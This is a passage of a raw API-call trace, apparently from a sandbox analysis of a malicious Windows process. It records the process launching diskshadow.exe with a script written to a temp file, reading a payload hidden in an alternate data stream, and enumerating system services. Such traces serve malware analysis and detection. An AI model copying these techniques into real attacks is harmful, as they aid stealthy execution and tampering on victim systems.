RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ea60 [0248.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\v59B3.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\v59b3.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18fb9c | out: lpFileInformation=0x18fb9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa911cd50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xa911cd50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xa911cd50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.970] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\v59B3.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\v59b3.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0248.970] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18fbe0, lpLastWriteTime=0x18fbe0) returned 1 [0248.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd3060 [0248.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0248.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0248.970] WriteFile (in: hFile=0x150, lpBuffer=0x1dd3060*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x18fc0c, lpOverlapped=0x0 | out: lpBuffer=0x1dd3060*, lpNumberOfBytesWritten=0x18fc0c*=0x1a, lpOverlapped=0x0) returned 1 [0249.030] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd3060) returned 1 [0249.030] NtClose (Handle=0x150) returned 0x0 [0249.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd9e98 [0249.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0249.031] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0249.031] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9e98) returned 1 [0249.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58eae8 [0249.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1dd2850 [0249.031] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58eae8) returned 1 [0249.031] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\diskshadow.exe", lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\v59B3.tmp", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbb8 | out: lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\v59B3.tmp", lpProcessInformation=0x18fbb8*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0249.032] NtClose (Handle=0x0) returned 0xc0000008 [0249.032] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0249.032] NtClose (Handle=0x0) returned 0xc0000008 [0249.032] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ea60) returned 1 [0249.032] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2c58) returned 1 [0249.032] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e9d8) returned 1 [0249.032] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e950) returned 1 [0249.032] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0249.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xa8582210, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xa8582210, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xa8582210, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0249.032] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0249.032] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 0 [0249.032] GetFileSize (in: hFile=0x150, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x27000 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x184) returned 0x1dd2850 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9258 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd92a0 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd92e8 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9330 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9378 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd93c0 [0249.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9408 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9450 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9498 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd94e0 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9528 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9570 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd95b8 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9600 [0249.033] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0249.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x27000) returned 0x1dd9e98 [0249.035] ReadFile (in: hFile=0x150, lpBuffer=0x1dd9e98, nNumberOfBytesToRead=0x27000, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1dd9e98*, lpNumberOfBytesRead=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0249.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x27000) returned 0x1e00ea0 [0249.039] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9e98) returned 1 [0249.039] NtClose (Handle=0x150) returned 0x0 [0249.039] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5d6d80 [0249.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40000) returned 0x1e27ea8 [0249.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x400) returned 0x1dd29e0 [0249.044] EnumServicesStatusExW (in: hSCManager=0x5d6d80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x1e27ea8, cbBufSize=0x40000, pcbBytesNeeded=0x18fc04, lpServicesReturned=0x18fbf4, lpResumeHandle=0x18fc00, pszGroupName=0x0 | out: lpServices=0x1e27ea8, pcbBytesNeeded=0x18fc04, lpServicesReturned=0x18fbf4, lpResumeHandle=0x18fc00) returned 1 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9648 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e950 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e9d8 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ea60 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58eae8 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58eb70 [0249.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9690 [0249.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1dd9690, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0249.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd96d8 [0249.061] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9690) returned 1 [0249.061] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd96d8) returned 1 [0249.061] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58eb70) returned 1 [0249.061] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.062] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.062] GetLastError () returned 0x7a [0249.062] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58eb70 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ebf8 [0249.063] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58eb70) returned 1 [0249.063] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ebf8) returned 1 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ebf8 [0249.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd96d8 [0249.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x1dd96d8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashplayerupdateservice.exe", lpUsedDefaultChar=0x0) returned 28 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9690 [0249.063] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd96d8) returned 1 [0249.063] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9690) returned 1 [0249.063] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ebf8) returned 1 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9690 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd96d8 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ebf8 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58eb70 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ec80 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ed08 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ed90 [0249.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9720 [0249.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1dd9720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0249.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9768 [0249.064] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9720) returned 1 [0249.064] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9768) returned 1 [0249.064] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ed90) returned 1 [0249.064] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AeLookupSvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.064] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.064] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.065] GetLastError () returned 0x7a [0249.065] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x106, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ed90 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ee18 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ed90) returned 1 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ee18) returned 1 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ee18 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ed90 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ee18) returned 1 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ed90) returned 1 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ed90 [0249.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9768 [0249.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9768, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9720 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9768) returned 1 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9720) returned 1 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ed90) returned 1 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9720 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ed90 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ee18 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58eea0 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ef28 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58efb0 [0249.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9768 [0249.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1dd9768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0249.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97b0 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9768) returned 1 [0249.066] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97b0) returned 1 [0249.067] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58efb0) returned 1 [0249.067] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="ALG", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.068] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.068] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.069] GetLastError () returned 0x7a [0249.069] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x11a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58efb0 [0249.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f038 [0249.071] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58efb0) returned 1 [0249.071] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f038) returned 1 [0249.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f038 [0249.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97b0 [0249.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x1dd97b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg.exe", lpUsedDefaultChar=0x0) returned 7 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9768 [0249.072] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97b0) returned 1 [0249.072] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9768) returned 1 [0249.072] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f038) returned 1 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9768 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f038 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58efb0 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f0c0 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f148 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f1d0 [0249.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97b0 [0249.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1dd97b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0249.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97f8 [0249.072] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97b0) returned 1 [0249.072] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97f8) returned 1 [0249.072] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f1d0) returned 1 [0249.072] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AppIDSvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.072] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.073] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.073] GetLastError () returned 0x7a [0249.073] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x18e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1dd2de8 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f038) returned 1 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f038 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f1d0 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f038) returned 1 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f1d0) returned 1 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f1d0 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f038 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f1d0) returned 1 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f038) returned 1 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f038 [0249.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97f8 [0249.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd97f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97b0 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97f8) returned 1 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97b0) returned 1 [0249.074] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f038) returned 1 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97b0 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f038 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f1d0 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f258 [0249.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f2e0 [0249.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f368 [0249.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97f8 [0249.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1dd97f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0249.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9840 [0249.075] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97f8) returned 1 [0249.075] RtlFreeHeap 